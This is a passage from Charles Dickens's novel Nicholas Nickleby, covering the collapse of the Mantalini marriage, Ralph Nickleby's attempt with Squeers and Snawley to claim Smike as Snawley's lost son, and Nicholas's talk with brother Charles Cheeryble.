when female curiosity to know what she +would say, prevailed, and, as if by general consent, a dead silence, +unbroken by a single whisper, instantaneously succeeded. + +'Mr Nickleby,' said Madame Mantalini; 'by what chance you came here, +I don't know.' + +Here a gurgling voice was heard to ejaculate, as part of the +wanderings of a sick man, the words 'Demnition sweetness!' but +nobody heeded them except the footman, who, being startled to hear +such awful tones proceeding, as it were, from between his very +fingers, dropped his master's head upon the floor with a pretty loud +crash, and then, without an effort to lift it up, gazed upon the +bystanders, as if he had done something rather clever than +otherwise. + +'I will, however,' continued Madame Mantalini, drying her eyes, and +speaking with great indignation, 'say before you, and before +everybody here, for the first time, and once for all, that I never +will supply that man's extravagances and viciousness again. I have +been a dupe and a fool to him long enough. In future, he shall +support himself if he can, and then he may spend what money he +pleases, upon whom and how he pleases; but it shall not be mine, and +therefore you had better pause before you trust him further.' + +Thereupon Madame Mantalini, quite unmoved by some most pathetic +lamentations on the part of her husband, that the apothecary had not +mixed the prussic acid strong enough, and that he must take another +bottle or two to finish the work he had in hand, entered into a +catalogue of that amiable gentleman's gallantries, deceptions, +extravagances, and infidelities (especially the last), winding up +with a protest against being supposed to entertain the smallest +remnant of regard for him; and adducing, in proof of the altered +state of her affections, the circumstance of his having poisoned +himself in private no less than six times within the last fortnight, +and her not having once interfered by word or deed to save his +life. + +'And I insist on being separated and left to myself,' said Madame +Mantalini, sobbing. 'If he dares to refuse me a separation, I'll +have one in law--I can--and I hope this will be a warning to all +girls who have seen this disgraceful exhibition.' + +Miss Knag, who was unquestionably the oldest girl in company, said +with great solemnity, that it would be a warning to HER, and so did +the young ladies generally, with the exception of one or two who +appeared to entertain some doubts whether such whispers could do +wrong. + +'Why do you say all this before so many listeners?' said Ralph, in a +low voice. 'You know you are not in earnest.' + +'I AM in earnest,' replied Madame Mantalini, aloud, and retreating +towards Miss Knag. + +'Well, but consider,' reasoned Ralph, who had a great interest in +the matter. 'It would be well to reflect. A married woman has no +property.' + +'Not a solitary single individual dem, my soul,' and Mr Mantalini, +raising himself upon his elbow. + +'I am quite aware of that,' retorted Madame Mantalini, tossing her +head; 'and I have none. The business, the stock, this house, and +everything in it, all belong to Miss Knag.' + +'That's quite true, Madame Mantalini,' said Miss Knag, with whom her +late employer had secretly come to an amicable understanding on this +point. 'Very true, indeed, Madame Mantalini--hem--very true. And I +never was more glad in all my life, that I had strength of mind to +resist matrimonial offers, no matter how advantageous, than I am +when I think of my present position as compared with your most +unfortunate and most undeserved one, Madame Mantalini.' + +'Demmit!' cried Mr Mantalini, turning his head towards his wife. +'Will it not slap and pinch the envious dowager, that dares to +reflect upon its own delicious?' + +But the day of Mr Mantalini's blandishments had departed. 'Miss +Knag, sir,' said his wife, 'is my particular friend;' and although +Mr Mantalini leered till his eyes seemed in danger of never coming +back to their right places again, Madame Mantalini showed no signs +of softening. + +To do the excellent Miss Knag justice, she had been mainly +instrumental in bringing about this altered state of things, for, +finding by daily experience, that there was no chance of the +business thriving, or even continuing to exist, while Mr Mantalini +had any hand in the expenditure, and having now a considerable +interest in its well-doing, she had sedulously applied herself to +the investigation of some little matters connected with that +gentleman's private character, which she had so well elucidated, and +artfully imparted to Madame Mantalini, as to open her eyes more +effectually than the closest and most philosophical reasoning could +have done in a series of years. To which end, the accidental +discovery by Miss Knag of some tender correspondence, in which +Madame Mantalini was described as 'old' and 'ordinary,' had most +providentially contributed. + +However, notwithstanding her firmness, Madame Mantalini wept very +piteously; and as she leant upon Miss Knag, and signed towards the +door, that young lady and all the other young ladies with +sympathising faces, proceeded to bear her out. + +'Nickleby,' said Mr Mantalini in tears, 'you have been made a +witness to this demnition cruelty, on the part of the demdest +enslaver and captivator that never was, oh dem! I forgive that +woman.' + +'Forgive!' repeated Madame Mantalini, angrily. + +'I do forgive her, Nickleby,' said Mr Mantalini. 'You will blame +me, the world will blame me, the women will blame me; everybody will +laugh, and scoff, and smile, and grin most demnebly. They will say, +"She had a blessing. She did not know it. He was too weak; he was +too good; he was a dem'd fine fellow, but he loved too strong; he +could not bear her to be cross, and call him wicked names. It was a +dem'd case, there never was a demder." But I forgive her.' + +With this affecting speech Mr Mantalini fell down again very flat, +and lay to all appearance without sense or motion, until all the +females had left the room, when he came cautiously into a sitting +posture, and confronted Ralph with a very blank face, and the little +bottle still in one hand and the tea-spoon in the other. + +'You may put away those fooleries now, and live by your wits again,' +said Ralph, coolly putting on his hat. + +'Demmit, Nickleby, you're not serious?' + +'I seldom joke,' said Ralph. 'Good-night.' + +'No, but Nickleby--' said Mantalini. + +'I am wrong, perhaps,' rejoined Ralph. 'I hope so. You should know +best. Good-night.' + +Affecting not to hear his entreaties that he would stay and advise +with him, Ralph left the crest-fallen Mr Mantalini to his +meditations, and left the house quietly. + +'Oho!' he said, 'sets the wind that way so soon? Half knave and +half fool, and detected in both characters? I think your day is +over, sir.' + +As he said this, he made some memorandum in his pocket-book in which +Mr Mantalini's name figured conspicuously, and finding by his watch +that it was between nine and ten o'clock, made all speed home. + +'Are they here?' was the first question he asked of Newman. + +Newman nodded. 'Been here half an hour.' + +'Two of them? One a fat sleek man?' + +'Ay,' said Newman. 'In your room now.' + +'Good,' rejoined Ralph. 'Get me a coach.' + +'A coach! What, you--going to--eh?' stammered Newman. + +Ralph angrily repeated his orders, and Noggs, who might well have +been excused for wondering at such an unusual and extraordinary +circumstance (for he had never seen Ralph in a coach in his life) +departed on his errand, and presently returned with the conveyance. + +Into it went Mr Squeers, and Ralph, and the third man, whom Newman +Noggs had never seen. Newman stood upon the door-step to see them +off, not troubling himself to wonder where or upon what business +they were going, until he chanced by mere accident to hear Ralph +name the address whither the coachman was to drive. + +Quick as lightning and in a state of the most extreme wonder, Newman +darted into his little office for his hat, and limped after the +coach as if with the intention of getting up behind; but in this +design he was balked, for it had too much the start of him and was +soon hopelessly ahead, leaving him gaping in the empty street. + +'I don't know though,' said Noggs, stopping for breath, 'any good +that I could have done by going too. He would have seen me if I +had. Drive THERE! What can come of this? If I had only known it +yesterday I could have told--drive there! There's mischief in it. +There must be.' + +His reflections were interrupted by a grey-haired man of a very +remarkable, though far from prepossessing appearance, who, coming +stealthily towards him, solicited relief. + +Newman, still cogitating deeply, turned away; but the man followed +him, and pressed him with such a tale of misery that Newman (who +might have been considered a hopeless person to beg from, and who +had little enough to give) looked into his hat for some halfpence +which he usually kept screwed up, when he had any, in a corner of +his pocket-handkerchief. + +While he was busily untwisting the knot with his teeth, the man said +something which attracted his attention; whatever that something +was, it led to something else, and in the end he and Newman walked +away side by side--the strange man talking earnestly, and Newman +listening. + + + +CHAPTER 45 + +Containing Matter of a surprising Kind + + +'As we gang awa' fra' Lunnun tomorrow neeght, and as I dinnot know +that I was e'er so happy in a' my days, Misther Nickleby, Ding! but +I WILL tak' anoother glass to our next merry meeting!' + +So said John Browdie, rubbing his hands with great joyousness, and +looking round him with a ruddy shining face, quite in keeping with +the declaration. + +The time at which John found himself in this enviable condition was +the same evening to which the last chapter bore reference; the place +was the cottage; and the assembled company were Nicholas, Mrs +Nickleby, Mrs Browdie, Kate Nickleby, and Smike. + +A very merry party they had been. Mrs Nickleby, knowing of her +son's obligations to the honest Yorkshireman, had, after some demur, +yielded her consent to Mr and Mrs Browdie being invited out to tea; +in the way of which arrangement, there were at first sundry +difficulties and obstacles, arising out of her not having had an +opportunity of 'calling' upon Mrs Browdie first; for although Mrs +Nickleby very often observed with much complacency (as most +punctilious people do), that she had not an atom of pride or +formality about her, still she was a great stickler for dignity and +ceremonies; and as it was manifest that, until a call had been made, +she could not be (politely speaking, and according to the laws of +society) even cognisant of the fact of Mrs Browdie's existence, she +felt her situation to be one of peculiar delicacy and difficulty. + +'The call MUST originate with me, my dear,' said Mrs Nickleby, +'that's indispensable. The fact is, my dear, that it's necessary +there should be a sort of condescension on my part, and that I +should show this young person that I am willing to take notice of +her. There's a very respectable-looking young man,' added Mrs +Nickleby, after a short consideration, 'who is conductor to one of +the omnibuses that go by here, and who wears a glazed hat--your +sister and I have noticed him very often--he has a wart upon his +nose, Kate, you know, exactly like a gentleman's servant.' + +'Have all gentlemen's servants warts upon their noses, mother?' +asked Nicholas. + +'Nicholas, my dear, how very absurd you are,' returned his mother; +'of course I mean that his glazed hat looks like a gentleman's +servant, and not the wart upon his nose; though even that is not so +ridiculous as it may seem to you, for we had a footboy once, who had +not only a wart, but a wen also, and a very large wen too, and he +demanded to have his wages raised in consequence, because he found +it came very expensive. Let me see, what was I--oh yes, I know. +The best way that I can think of would be to send a card, and my +compliments, (I've no doubt he'd take 'em for a pot of porter,) by +this young man, to the Saracen with Two Necks. If the waiter took +him for a gentleman's servant, so much the better. Then all Mrs +Browdie would have to do would be to send her card back by the +carrier (he could easily come with a double knock), and there's an +end of it.' + +'My dear mother,' said Nicholas, 'I don't suppose such +unsophisticated people as these ever had a card of their own, or +ever will have.' + +'Oh that, indeed, Nicholas, my dear,' returned Mrs Nickleby, 'that's +another thing. If you put it upon that ground, why, of course, I +have no more to say, than that I have no doubt they are very good +sort of persons, and that I have no kind of objection to their +coming here to tea if they like, and shall make a point of being +very civil to them if they do.' + +The point being thus effectually set at rest, and Mrs Nickleby duly +placed in the patronising and mildly-condescending position which +became her rank and matrimonial years, Mr and Mrs Browdie were +invited and came; and as they were very deferential to Mrs Nickleby, +and seemed to have a becoming appreciation of her greatness, and +were very much pleased with everything, the good lady had more than +once given Kate to understand, in a whisper, that she thought they +were the very best-meaning people she had ever seen, and perfectly +well behaved. + +And thus it came to pass, that John Browdie declared, in the parlour +after supper, to wit, and twenty minutes before eleven o'clock p.m., +that he had never been so happy in all his days. + +Nor was Mrs Browdie much behind her husband in this respect, for +that young matron, whose rustic beauty contrasted very prettily with +the more delicate loveliness of Kate, and without suffering by the +contrast either, for each served as it were to set off and decorate +the other, could not sufficiently admire the gentle and winning +manners of the young lady, or the engaging affability of the elder +one. Then Kate had the art of turning the conversation to subjects +upon which the country girl, bashful at first in strange company, +could feel herself at home; and if Mrs Nickleby was not quite so +felicitous at times in the selection of topics of discourse, or if +she did seem, as Mrs Browdie expressed it, 'rather high in her +notions,' still nothing could be kinder, and that she took +considerable interest in the young couple was manifest from the very +long lectures on housewifery with which she was so obliging as to +entertain Mrs Browdie's private ear, which were illustrated by +various references to the domestic economy of the cottage, in which +(those duties falling exclusively upon Kate) the good lady had about +as much share, either in theory or practice, as any one of the +statues of the Twelve Apostles which embellish the exterior of St +Paul's Cathedral. + +'Mr Browdie,' said Kate, addressing his young wife, 'is the best- +humoured, the kindest and heartiest creature I ever saw. If I were +oppressed with I don't know how many cares, it would make me happy +only to look at him.' + +'He does seem indeed, upon my word, a most excellent creature, +Kate,' said Mrs Nickleby; 'most excellent. And I am sure that at +all times it will give me pleasure--really pleasure now--to have +you, Mrs Browdie, to see me in this plain and homely manner. We +make no display,' said Mrs Nickleby, with an air which seemed to +insinuate that they could make a vast deal if they were so disposed; +'no fuss, no preparation; I wouldn't allow it. I said, "Kate, my +dear, you will only make Mrs Browdie feel uncomfortable, and how +very foolish and inconsiderate that would be!" ' + +'I am very much obliged to you, I am sure, ma'am,' returned Mrs +Browdie, gratefully. 'It's nearly eleven o'clock, John. I am +afraid we are keeping you up very late, ma'am.' + +'Late!' cried Mrs Nickleby, with a sharp thin laugh, and one little +cough at the end, like a note of admiration expressed. 'This is +quite early for us. We used to keep such hours! Twelve, one, two, +three o'clock was nothing to us. Balls, dinners, card-parties! +Never were such rakes as the people about where we used to live. I +often think now, I am sure, that how we ever could go through with +it is quite astonishing, and that is just the evil of having a large +connection and being a great deal sought after, which I would +recommend all young married people steadily to resist; though of +course, and it's perfectly clear, and a very happy thing too, I +think, that very few young married people can be exposed to such +temptations. There was one family in particular, that used to live +about a mile from us--not straight down the road, but turning sharp +off to the left by the turnpike where the Plymouth mail ran over the +donkey--that were quite extraordinary people for giving the most +extravagant parties, with artificial flowers and champagne, and +variegated lamps, and, in short, every delicacy of eating and +drinking that the most singular epicure could possibly require. I +don't think that there ever were such people as those Peltiroguses. +You remember the Peltiroguses, Kate?' + +Kate saw that for the ease and comfort of the visitors it was high +time to stay this flood of recollection, so answered that she +entertained of the Peltiroguses a most vivid and distinct +remembrance; and then said that Mr Browdie had half promised, early +in the evening, that he would sing a Yorkshire song, and that she +was most impatient that he should redeem his promise, because she +was sure it would afford her mama more amusement and pleasure than +it was possible to express. + +Mrs Nickleby confirming her daughter with the best possible grace-- +for there was patronage in that too, and a kind of implication that +she had a discerning taste in such matters, and was something of a +critic--John Browdie proceeded to consider the words of some north- +country ditty, and to take his wife's recollection respecting the +same. This done, he made divers ungainly movements in his chair, +and singling out one particular fly on the ceiling from the other +flies there asleep, fixed his eyes upon him, and began to roar a +meek sentiment (supposed to be uttered by a gentle swain fast pining +away with love and despair) in a voice of thunder. + +At the end of the first verse, as though some person without had +waited until then to make himself audible, was heard a loud and +violent knocking at the street-door; so loud and so violent, indeed, +that the ladies started as by one accord, and John Browdie stopped. + +'It must be some mistake,' said Nicholas, carelessly. 'We know +nobody who would come here at this hour.' + +Mrs Nickleby surmised, however, that perhaps the counting-house was +burnt down, or perhaps 'the Mr Cheerybles' had sent to take Nicholas +into partnership (which certainly appeared highly probable at that +time of night), or perhaps Mr Linkinwater had run away with the +property, or perhaps Miss La Creevy was taken in, or perhaps-- + +But a hasty exclamation from Kate stopped her abruptly in her +conjectures, and Ralph Nickleby walked into the room. + +'Stay,' said Ralph, as Nicholas rose, and Kate, making her way +towards him, threw herself upon his arm. 'Before that boy says a +word, hear me.' + +Nicholas bit his lip and shook his head in a threatening manner, but +appeared for the moment unable to articulate a syllable. Kate clung +closer to his arm, Smike retreated behind them, and John Browdie, +who had heard of Ralph, and appeared to have no great difficulty in +recognising him, stepped between the old man and his young friend, +as if with the intention of preventing either of them from advancing +a step further. + +'Hear me, I say,' said Ralph, 'and not him.' + +'Say what thou'st gotten to say then, sir,' retorted John; 'and tak' +care thou dinnot put up angry bluid which thou'dst betther try to +quiet.' + +'I should know YOU,' said Ralph, 'by your tongue; and HIM' (pointing +to Smike) 'by his looks.' + +'Don't speak to him,' said Nicholas, recovering his voice. 'I will +not have it. I will not hear him. I do not know that man. I +cannot breathe the air that he corrupts. His presence is an insult +to my sister. It is shame to see him. I will not bear it.' + +'Stand!' cried John, laying his heavy hand upon his chest. + +'Then let him instantly retire,' said Nicholas, struggling. 'I am +not going to lay hands upon him, but he shall withdraw. I will not +have him here. John, John Browdie, is this my house, am I a child? +If he stands there,' cried Nicholas, burning with fury, 'looking so +calmly upon those who know his black and dastardly heart, he'll +drive me mad.' + +To all these exclamations John Browdie answered not a word, but he +retained his hold upon Nicholas; and when he was silent again, +spoke. + +'There's more to say and hear than thou think'st for,' said John. +'I tell'ee I ha' gotten scent o' thot already. Wa'at be that +shadow ootside door there? Noo, schoolmeasther, show thyself, mun; +dinnot be sheame-feaced. Noo, auld gen'l'man, let's have +schoolmeasther, coom.' + +Hearing this adjuration, Mr Squeers, who had been lingering in the +passage until such time as it should be expedient for him to enter +and he could appear with effect, was fain to present himself in a +somewhat undignified and sneaking way; at which John Browdie laughed +with such keen and heartfelt delight, that even Kate, in all the +pain, anxiety, and surprise of the scene, and though the tears were +in her eyes, felt a disposition to join him. + +'Have you done enjoying yourself, sir?' said Ralph, at length. + +'Pratty nigh for the prasant time, sir,' replied John. + +'I can wait,' said Ralph. 'Take your own time, pray.' + +Ralph waited until there was a perfect silence, and then turning to +Mrs Nickleby, but directing an eager glance at Kate, as if more +anxious to watch his effect upon her, said: + +'Now, ma'am, listen to me. I don't imagine that you were a party to +a very fine tirade of words sent me by that boy of yours, because I +don't believe that under his control, you have the slightest will of +your own, or that your advice, your opinion, your wants, your +wishes, anything which in nature and reason (or of what use is your +great experience?) ought to weigh with him, has the slightest +influence or weight whatever, or is taken for a moment into +account.' + +Mrs Nickleby shook her head and sighed, as if there were a good deal +in that, certainly. + +'For this reason,' resumed Ralph, 'I address myself to you, ma'am. +For this reason, partly, and partly because I do not wish to be +disgraced by the acts of a vicious stripling whom I was obliged to +disown, and who, afterwards, in his boyish majesty, feigns to--ha! +ha!--to disown ME, I present myself here tonight. I have another +motive in coming: a motive of humanity. I come here,' said Ralph, +looking round with a biting and triumphant smile, and gloating and +dwelling upon the words as if he were loath to lose the pleasure of +saying them, 'to restore a parent his child. Ay, sir,' he +continued, bending eagerly forward, and addressing Nicholas, as he +marked the change of his countenance, 'to restore a parent his +child; his son, sir; trepanned, waylaid, and guarded at every turn +by you, with the base design of robbing him some day of any little +wretched pittance of which he might become possessed.' + +'In that, you know you lie,' said Nicholas, proudly. + +'In this, I know I speak the truth. I have his father here,' +retorted Ralph. + +'Here!' sneered Squeers, stepping forward. 'Do you hear that? +Here! Didn't I tell you to be careful that his father didn't turn +up and send him back to me? Why, his father's my friend; he's to +come back to me directly, he is. Now, what do you say--eh!--now-- +come--what do you say to that--an't you sorry you took so much +trouble for nothing? an't you? an't you?' + +'You bear upon your body certain marks I gave you,' said Nicholas, +looking quietly away, 'and may talk in acknowledgment of them as +much as you please. You'll talk a long time before you rub them +out, Mr Squeers.' + +The estimable gentleman last named cast a hasty look at the table, +as if he were prompted by this retort to throw a jug or bottle at +the head of Nicholas, but he was interrupted in this design (if such +design he had) by Ralph, who, touching him on the elbow, bade him +tell the father that he might now appear and claim his son. + +This being purely a labour of love, Mr Squeers readily complied, and +leaving the room for the purpose, almost immediately returned, +supporting a sleek personage with an oily face, who, bursting from +him, and giving to view the form and face of Mr Snawley, made +straight up to Smike, and tucking that poor fellow's head under his +arm in a most uncouth and awkward embrace, elevated his broad- +brimmed hat at arm's length in the air as a token of devout +thanksgiving, exclaiming, meanwhile, 'How little did I think of this +here joyful meeting, when I saw him last! Oh, how little did I +think it!' + +'Be composed, sir,' said Ralph, with a gruff expression of sympathy, +'you have got him now.' + +'Got him! Oh, haven't I got him! Have I got him, though?' cried Mr +Snawley, scarcely able to believe it. 'Yes, here he is, flesh and +blood, flesh and blood.' + +'Vary little flesh,' said John Browdie. + +Mr Snawley was too much occupied by his parental feelings to notice +this remark; and, to assure himself more completely of the +restoration of his child, tucked his head under his arm again, and +kept it there. + +'What was it,' said Snawley, 'that made me take such a strong +interest in him, when that worthy instructor of youth brought him to +my house? What was it that made me burn all over with a wish to +chastise him severely for cutting away from his best friends, his +pastors and masters?' + +'It was parental instinct, sir,' observed Squeers. + +'That's what it was, sir,' rejoined Snawley; 'the elevated feeling, +the feeling of the ancient Romans and Grecians, and of the beasts of +the field and birds of the air, with the exception of rabbits and +tom-cats, which sometimes devour their offspring. My heart yearned +towards him. I could have--I don't know what I couldn't have done +to him in the anger of a father.' + +'It only shows what Natur is, sir,' said Mr Squeers. 'She's rum 'un, +is Natur.' + +'She is a holy thing, sir,' remarked Snawley. + +'I believe you,' added Mr Squeers, with a moral sigh. 'I should +like to know how we should ever get on without her. Natur,' said Mr +Squeers, solemnly, 'is more easier conceived than described. Oh +what a blessed thing, sir, to be in a state of natur!' + +Pending this philosophical discourse, the bystanders had been quite +stupefied with amazement, while Nicholas had looked keenly from +Snawley to Squeers, and from Squeers to Ralph, divided between his +feelings of disgust, doubt, and surprise. At this juncture, Smike +escaping from his father fled to Nicholas, and implored him, in most +moving terms, never to give him up, but to let him live and die +beside him. + +'If you are this boy's father,' said Nicholas, 'look at the wreck he +is, and tell me that you purpose to send him back to that loathsome +den from which I brought him.' + +'Scandal again!' cried Squeers. 'Recollect, you an't worth powder +and shot, but I'll be even with you one way or another.' + +'Stop,' interposed Ralph, as Snawley was about to speak. 'Let us +cut this matter short, and not bandy words here with hare-brained +profligates. This is your son, as you can prove. And you, Mr +Squeers, you know this boy to be the same that was with you for so +many years under the name of Smike. Do you?' + +'Do I!' returned Squeers. 'Don't I?' + +'Good,' said Ralph; 'a very few words will be sufficient here. You +had a son by your first wife, Mr Snawley?' + +'I had,' replied that person, 'and there he stands.' + +'We'll show that presently,' said Ralph. 'You and your wife were +separated, and she had the boy to live with her, when he was a year +old. You received a communication from her, when you had lived +apart a year or two, that the boy was dead; and you believed it?' + +'Of course I did!' returned Snawley. 'Oh the joy of--' + +'Be rational, sir, pray,' said Ralph. 'This is business, and +transports interfere with it. This wife died a year and a half ago, +or thereabouts--not more--in some obscure place, where she was +housekeeper in a family. Is that the case?' + +'That's the case,' replied Snawley. + +'Having written on her death-bed a letter or confession to you, +about this very boy, which, as it was not directed otherwise than in +your name, only reached you, and that by a circuitous course, a few +days since?' + +'Just so,' said Snawley. 'Correct in every particular, sir.' + +'And this confession,' resumed Ralph, 'is to the effect that his +death was an invention of hers to wound you--was a part of a system +of annoyance, in short, which you seem to have adopted towards each +other--that the boy lived, but was of weak and imperfect intellect-- +that she sent him by a trusty hand to a cheap school in Yorkshire-- +that she had paid for his education for some years, and then, being +poor, and going a long way off, gradually deserted him, for which +she prayed forgiveness?' + +Snawley nodded his head, and wiped his eyes; the first slightly, the +last violently. + +'The school was Mr Squeers's,' continued Ralph; 'the boy was left +there in the name of Smike; every description was fully given, dates +tally exactly with Mr Squeers's books, Mr Squeers is lodging with +you at this time; you have two other boys at his school: you +communicated the whole discovery to him, he brought you to me as the +person who had recommended to him the kidnapper of his child; and I +brought you here. Is that so?' + +'You talk like a good book, sir, that's got nothing in its inside +but what's the truth,' replied Snawley. + +'This is your pocket-book,' said Ralph, producing one from his coat; +'the certificates of your first marriage and of the boy's birth, and +your wife's two letters, and every other paper that can support +these statements directly or by implication, are here, are they?' + +'Every one of 'em, sir.' + +'And you don't object to their being looked at here, so that these +people may be convinced of your power to substantiate your claim at +once in law and reason, and you may resume your control over your +own son without more delay. Do I understand you?' + +'I couldn't have understood myself better, sir.' + +'There, then,' said Ralph, tossing the pocket-book upon the table. +'Let them see them if they like; and as those are the original +papers, I should recommend you to stand near while they are being +examined, or you may chance to lose some.' + +With these words Ralph sat down unbidden, and compressing his lips, +which were for the moment slightly parted by a smile, folded his +arms, and looked for the first time at his nephew. + +Nicholas, stung by the concluding taunt, darted an indignant glance +at him; but commanding himself as well as he could, entered upon a +close examination of the documents, at which John Browdie assisted. +There was nothing about them which could be called in question. The +certificates were regularly signed as extracts from the parish +books, the first letter had a genuine appearance of having been +written and preserved for some years, the handwriting of the second +tallied with it exactly, (making proper allowance for its having +been written by a person in extremity,) and there were several other +corroboratory scraps of entries and memoranda which it was equally +difficult to question. + +'Dear Nicholas,' whispered Kate, who had been looking anxiously over +his shoulder, 'can this be really the case? Is this statement +true?' + +'I fear it is,' answered Nicholas. 'What say you, John?' + +'John scratched his head and shook it, but said nothing at all. + +'You will observe, ma'am,' said Ralph, addressing himself to Mrs +Nickleby, 'that this boy being a minor and not of strong mind, we +might have come here tonight, armed with the powers of the law, and +backed by a troop of its myrmidons. I should have done so, ma'am, +unquestionably, but for my regard for the feelings of yourself, and +your daughter.' + +'You have shown your regard for HER feelings well,' said Nicholas, +drawing his sister towards him. + +'Thank you,' replied Ralph. 'Your praise, sir, is commendation, +indeed.' + +'Well,' said Squeers, 'what's to be done? Them hackney-coach horses +will catch cold if we don't think of moving; there's one of 'em a +sneezing now, so that he blows the street door right open. What's +the order of the day? Is Master Snawley to come along with us?' + +'No, no, no,' replied Smike, drawing back, and clinging to Nicholas. + +'No. Pray, no. I will not go from you with him. No, no.' + +'This is a cruel thing,' said Snawley, looking to his friends for +support. 'Do parents bring children into the world for this?' + +'Do parents bring children into the world for THOT?' said John +Browdie bluntly, pointing, as he spoke, to Squeers. + +'Never you mind,' retorted that gentleman, tapping his nose +derisively. + +'Never I mind!' said John, 'no, nor never nobody mind, say'st thou, +schoolmeasther. It's nobody's minding that keeps sike men as thou +afloat. Noo then, where be'est thou coomin' to? Dang it, dinnot +coom treadin' ower me, mun.' + +Suiting the action to the word, John Browdie just jerked his elbow +into the chest of Mr Squeers who was advancing upon Smike; with so +much dexterity that the schoolmaster reeled and staggered back upon +Ralph Nickleby, and being unable to recover his balance, knocked +that gentleman off his chair, and stumbled heavily upon him. + +This accidental circumstance was the signal for some very decisive +proceedings. In the midst of a great noise, occasioned by the +prayers and entreaties of Smike, the cries and exclamations of the +women, and the vehemence of the men, demonstrations were made of +carrying off the lost son by violence. Squeers had actually +begun to haul him out, when Nicholas (who, until then, had been +evidently undecided how to act) took him by the collar, and shaking +him so that such teeth as he had, chattered in his head, politely +escorted him to the room-door, and thrusting him into the passage, +shut it upon him. + +'Now,' said Nicholas to the other two, 'have the goodness to follow +your friend.' + +'I want my son,' said Snawley. + +'Your son,' replied Nicholas, 'chooses for himself. He chooses to +remain here, and he shall.' + +'You won't give him up?' said Snawley. + +'I would not give him up against his will, to be the victim of such +brutality as that to which you would consign him,' replied Nicholas, +'if he were a dog or a rat.' + +'Knock that Nickleby down with a candlestick,' cried Mr Squeers, +through the keyhole, 'and bring out my hat, somebody, will you, +unless he wants to steal it.' + +'I am very sorry, indeed,' said Mrs Nickleby, who, with Mrs Browdie, +had stood crying and biting her fingers in a corner, while Kate +(very pale, but perfectly quiet) had kept as near her brother as she +could. 'I am very sorry, indeed, for all this. I really don't know +what would be best to do, and that's the truth. Nicholas ought to +be the best judge, and I hope he is. Of course, it's a hard thing +to have to keep other people's children, though young Mr Snawley is +certainly as useful and willing as it's possible for anybody to be; +but, if it could be settled in any friendly manner--if old Mr +Snawley, for instance, would settle to pay something certain for his +board and lodging, and some fair arrangement was come to, so that we +undertook to have fish twice a week, and a pudding twice, or a +dumpling, or something of that sort--I do think that it might be +very satisfactory and pleasant for all parties.' + +This compromise, which was proposed with abundance of tears and +sighs, not exactly meeting the point at issue, nobody took any +notice of it; and poor Mrs Nickleby accordingly proceeded to +enlighten Mrs Browdie upon the advantages of such a scheme, and the +unhappy results flowing, on all occasions, from her not being +attended to when she proffered her advice. + +'You, sir,' said Snawley, addressing the terrified Smike, 'are an +unnatural, ungrateful, unlovable boy. You won't let me love you +when I want to. Won't you come home, won't you?' + +'No, no, no,' cried Smike, shrinking back. + +'He never loved nobody,' bawled Squeers, through the keyhole. 'He +never loved me; he never loved Wackford, who is next door but one to +a cherubim. How can you expect that he'll love his father? He'll +never love his father, he won't. He don't know what it is to have a +father. He don't understand it. It an't in him.' + +Mr Snawley looked steadfastly at his son for a full minute, and then +covering his eyes with his hand, and once more raising his hat in +the air, appeared deeply occupied in deploring his black ingratitude. +Then drawing his arm across his eyes, he picked up Mr Squeers's hat, +and taking it under one arm, and his own under the other, walked +slowly and sadly out. + +'Your romance, sir,' said Ralph, lingering for a moment, 'is +destroyed, I take it. No unknown; no persecuted descendant of a man +of high degree; but the weak, imbecile son of a poor, petty +tradesman. We shall see how your sympathy melts before plain matter +of fact.' + +'You shall,' said Nicholas, motioning towards the door. + +'And trust me, sir,' added Ralph, 'that I never supposed you would +give him up tonight. Pride, obstinacy, reputation for fine feeling, +were all against it. These must be brought down, sir, lowered, +crushed, as they shall be soon. The protracted and wearing anxiety +and expense of the law in its most oppressive form, its torture from +hour to hour, its weary days and sleepless nights, with these I'll +prove you, and break your haughty spirit, strong as you deem it now. +And when you make this house a hell, and visit these trials upon +yonder wretched object (as you will; I know you), and those who +think you now a young-fledged hero, we'll go into old accounts +between us two, and see who stands the debtor, and comes out best at +last, even before the world.' + +Ralph Nickleby withdrew. But Mr Squeers, who had heard a portion of +this closing address, and was by this time wound up to a pitch of +impotent malignity almost unprecedented, could not refrain from +returning to the parlour door, and actually cutting some dozen +capers with various wry faces and hideous grimaces, expressive of +his triumphant confidence in the downfall and defeat of Nicholas. + +Having concluded this war-dance, in which his short trousers and +large boots had borne a very conspicuous figure, Mr Squeers followed +his friends, and the family were left to meditate upon recent +occurrences. + + + +CHAPTER 46 + +Throws some Light upon Nicholas's Love; but whether for Good or Evil +the Reader must determine + + +After an anxious consideration of the painful and embarrassing +position in which he was placed, Nicholas decided that he ought to +lose no time in frankly stating it to the kind brothers. Availing +himself of the first opportunity of being alone with Mr Charles +Cheeryble at the close of next day, he accordingly related Smike's +little history, and modestly but firmly expressed his hope that the +good old gentleman would, under such circumstances as he described, +hold him justified in adopting the extreme course of interfering +between parent and child, and upholding the latter in his +disobedience; even though his horror and dread of his father might +seem, and would doubtless be represented as, a thing so repulsive +and unnatural, as to render those who countenanced him in it, fit +objects of general detestation and abhorrence. + +'So deeply rooted does this horror of the man appear to be,' said +Nicholas, 'that I can hardly believe he really is his son. Nature +does not seem to have implanted in his breast one lingering feeling +of affection for him, and surely she can never err.' + +'My dear sir,' replied brother Charles, 'you fall into the very +common mistake of charging upon Nature, matters with which she has +not the smallest connection, and for which she is in no way +responsible. Men talk of Nature as an abstract thing, and lose +sight of what is natural while they do so. Here is a poor lad who +has never felt a parent's care, who has scarcely known anything all +his life but suffering and sorrow, presented to a man who he is told +is his father, and whose first act is to signify his intention of +putting an end to his short term of happiness, of consigning him to +his old fate, and taking him from the only friend he has ever had-- +which is yourself. If Nature, in such a case, put into that lad's +breast but one secret prompting which urged him towards his father +and away from you, she would be a liar and an idiot.' + +Nicholas was delighted to find that the old gentleman spoke so +warmly, and in the hope that he might say something more to the same +purpose, made no reply. + +'The same mistake presents itself to me, in one shape or other, at +every turn,' said brother Charles. 'Parents who never showed their +love, complain of want of natural affection in their children; +children who never showed their duty, complain of want of natural +feeling in their parents; law-makers who find both so miserable that +their affections have never had enough of life's sun to develop +them, are loud in their moralisings over parents and children too, +and cry that the very ties of nature are disregarded. Natural +affections and instincts, my dear sir, are the most beautiful of the +Almighty's works, but like other beautiful works of His, they must +be reared and fostered, or it is as natural that they should be +wholly obscured, and that new feelings should usurp their place, as +it is that the sweetest productions of the earth, left untended, +should be choked with weeds and briers. I wish we could be brought +to consider this, and remembering natural obligations a little more +at the right time, talk about them a little less at the wrong one.' + +After this, brother Charles, who had talked himself into a great +heat, stopped to cool a little, and then continued: + +'I dare say you are surprised, my dear sir, that I have listened to +your 